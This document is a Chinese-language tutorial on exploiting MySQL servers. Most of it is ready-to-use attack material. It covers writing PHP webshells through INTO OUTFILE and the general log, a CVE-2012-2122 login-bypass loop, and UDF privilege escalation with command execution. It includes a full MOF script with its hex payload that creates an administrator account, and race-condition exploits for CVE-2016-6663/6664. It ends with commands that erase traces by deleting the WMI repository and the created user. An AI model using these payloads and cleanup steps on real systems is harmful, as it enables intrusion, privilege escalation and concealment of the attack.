干货|Mysql漏洞利用和提权
前言
Mysql写入shell
利用into outfile
直接在网站目录下写入webshell,首先必要条件是是否有写入的权限和web的绝对路径。
show variables like '%secure_file_priv%'; #判断当前数据库用户是否具有写入权限
如果secure_file_priv如果非空,则只能在对应的目录下读文件。
如果是空即可在其他目录写(Linux下有可能是/var/lib/mysql-files/目录可写。可以配合文件包含漏洞利用)。
如果为NULL则不允许导入和导出。
使用Mysql语句写入一句话木马:
select '<php eval($_POST[bmzgaq])?>' into outfile 'c:\\shell.php'
日志Getshell
前提还是必须具又写入权限和web绝对路径,但是不需要当前数据库用户是否拥有权限
原理是利用查询操作会写入到日志文件,即一句话木马会写进日志文件。
show variables like 'general%'; # 查看当前的日志记录
set global general_log = "ON"; # 开启日志记录
set global general_log_file="C://phpStudy/www/config.php"; # 指定日志文件
首先查询一下当前日志记录
我们再执行一下select "<?php phpinfo();?>";
这条语句进行一次查询,查询记录就会写到日志文件中,形成一个webshell。
我们尝试访问发现phpinfo解析成功。
Mysql身份认证绕过漏洞
Mysql身份认证绕过漏洞即(CVE-2012-2122)
漏洞原理:当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
payload:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done
UDF提权
UDF(user defined function),即 用户自定义函数 ,是通过添加新的函数,实现自定义功能, 对mysql的功能进行扩充。
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
1.可以通过show variables like '%plugin%';
来查看插件插件目录
2.在sqlmap中自带了udf的动态链接库文件,在/data/udf/mysql
下,为了防止被误杀都经过编码处理过,都是不能直接使用的,我们需要使用sqlmap自带的解码工具进行解码,在/extra/cloak/cloak.py
下:
# 例如解码64位的Linux动态链接库python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
在Metasploit中,UDF
的动态链接库文件直接在metasploit根目录:
/embedded/framework/data/exploits/mysql
3.接下来就是将udf的动态链接库文件写入到mysql中,现将源文件转化成hex方便写入
xxd lib_mysqludf_sys_64.so|cut -f 2,3,4,5,6,7,8,9 -d " "| tr -d "\n" | tr -d " "
secure_file_priv
无限制的时候,我们才可以手工写文件到 plugin 目录下的)
select 0x7f454c4602010100... into dumpfile '/usr/lib/mysql/plugin/udf.so';
--secure-file-priv=''
,并且确保/usr/lib/mysql/plugin目录可写
4.创建自定义函数并调用命令
create function sys_eval returns string soname 'udf.dll';
然后查看一下是否创建成功:
select * from mysql.func;
最后执行命令即可:
select sys_eval('whoami');
在windows指令是直接以管理员的权限运行的,所以这也就是最高权限了。
5.删除自定义函数
drop function sys_eval;
MOF提权
提权的原理是在
C:/Windows/system32/wbem/mof/
目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
C:/Windows/system32/wbem/mof/
路径有写入的权限,然后上传文件,最后文件会自动执行达到提权的目的。
mof脚本的内容:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter {
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer {
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user yuaneuro P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators yuaneuro /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
写入文件:
SELECT 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a0a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a2276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e6578652075736572206861636b6572205040737377307264202f6164645c22295c6e5753482e72756e285c226e65742e657865206c6f63616c67726f75702061646d696e6973747261746f7273206861636b6572202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b0a INTO DUMPFILE 'C:/windows/system32/wbem/mof/test.mof';
已经在good目录下了,说明已经执行成功了。
用户也创建成功了
痕迹清理
因为每隔一段时间都会执行一下命令,所以一般利用完以后就会将他删除。
我们需要暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:
# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user hacker /delete
# 重新启动服务
net start winmgmt
Mysql提权条件竞争漏洞
CVE-2016-6663 是将www-data提权至mysql
CVE-2016-6664 是将mysql提权至root
0x01-环境搭建
echo "<?php @eval(\$_POST['asd']);?>" > /var/www/html/shell.php
连接数据库,创建一个数据库并创建一个用户:
create database test; # 创建数据库
CREATE USER 'bmzgaq'@'%' IDENTIFIED BY '123456'; # 创建一个用户bmzgaq,密码为123456
grant create,drop,insert,select on test.* to 'bmzgaq'@'%'; # 给bmzgaq用户权限
flush privileges; #刷新数据库
安装gcc等依赖工具
apt update && apt install -y wget gcc libmysqlclient-dev
/etc/mysql/conf.d/mysqld_safe_syslog.cnf
中的
syslog
字段删除为提权到root做准备。
0x02-将www-data提权至mysql
上传mysql-privesc-race.c
然后编译exp:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
提权:
./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库
4. 运行exp后发现已经被提权到mysql权限,还贴心的给我们提示了如果提权到root可以使用CVE-2016-6662 或者 CVE-2016-6664
0x03-将mysql提权至root
1.上传mysql-chowned.sh
2.查/etc/mysql/conf.d/mysqld_safe_syslog.cnf
是否有syslog
字段,如果有,则无法利用。
3.给予mysql-chowned.sh执行权限
chmod 777 mysql-chowned.sh
4.运行
./mysql-chowned.sh /var/log/mysql/error.log